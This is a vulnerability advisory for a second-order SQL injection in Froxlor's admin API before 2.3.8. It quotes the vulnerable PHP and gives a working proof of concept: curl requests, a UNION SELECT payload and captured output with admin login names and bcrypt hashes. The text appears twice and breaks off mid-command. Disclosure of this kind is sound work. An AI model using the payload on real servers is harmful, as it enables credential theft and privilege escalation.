CVE-2026-54348

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip
    : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
    // json_decode restores the array; implode joins elements with no casting or escaping
    $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
    "SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

PoC

<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "[email protected]",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

The ip column of panel_admins for eviladmin now contains:

["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/admin_index.php?page=ipsandports

Or directly via API:

curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

{
  "data": {
    "list": [
      {
        "ip": "admin",
        "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
      },
      {
        "ip": "eviladmin",
        "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
      }
    ]
  }
}

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has change_serversettings=1):

curl…

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip
    : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
    // json_decode restores the array; implode joins elements with no casting or escaping
    $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
    "SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

PoC

<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "[email protected]",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

The ip column of panel_admins for eviladmin now contains:

["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/admin_index.php?page=ipsandports

Or directly via API:

curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

{
  "data": {
    "list": [
      {
        "ip": "admin",
        "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
      },
      {
        "ip": "eviladmin",
        "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
      }
    ]
  }
}

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has change_serversettings=1):

curl…